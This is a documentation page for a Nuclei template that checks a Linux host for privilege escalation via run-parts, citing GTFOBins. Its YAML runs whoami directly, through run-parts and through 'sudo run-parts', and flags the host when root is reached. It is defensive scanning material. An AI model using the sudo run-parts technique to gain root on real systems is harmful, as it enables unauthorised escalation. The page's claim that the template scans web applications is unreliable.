run-parts - Privilege Escalation
ID: privesc-run-parts
Severity: high
Author: daffainfo
Tags: code,linux,run-parts,privesc,local
Description
Section titled “Description”The run-parts command in Linux is used to run all the executable files in a directory. It is commonly used for running scripts or commands located in a specific directory, such as system maintenance scripts in /etc/cron.daily. The run-parts command provides a convenient way to execute multiple scripts or commands in a batch manner.
YAML Source
Section titled “YAML Source”id: privesc-run-parts
info: name: run-parts - Privilege Escalation author: daffainfo severity: high description: | The run-parts command in Linux is used to run all the executable files in a directory. It is commonly used for running scripts or commands located in a specific directory, such as system maintenance scripts in /etc/cron.daily. The run-parts command provides a convenient way to execute multiple scripts or commands in a batch manner. reference: https://gtfobins.github.io/gtfobins/run-parts/ metadata: verified: true max-request: 3 tags: code,linux,run-parts,privesc,local
self-contained: truecode: - engine: - sh - bash source: | whoami
- engine: - sh - bash source: | run-parts --new-session --regex 'whoami' /bin
- engine: - sh - bash source: | sudo run-parts --new-session --regex 'whoami' /bin
matchers-condition: and matchers: - type: word part: code_1_response words: - "root" negative: true
- type: dsl dsl: - 'contains(code_2_response, "root")' - 'contains(code_3_response, "root")' condition: or# digest: 4a0a0047304502203c27143ba06ddc09168f9b472e4bb6ebda812ba9bef6bfe56aa200aa59f8b96a022100a9c9bac8a191a714b64848b444f9100ccb89420961c5d53377e1278b3942e51a:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "code/privilege-escalation/linux/binary/privesc-run-parts.yaml"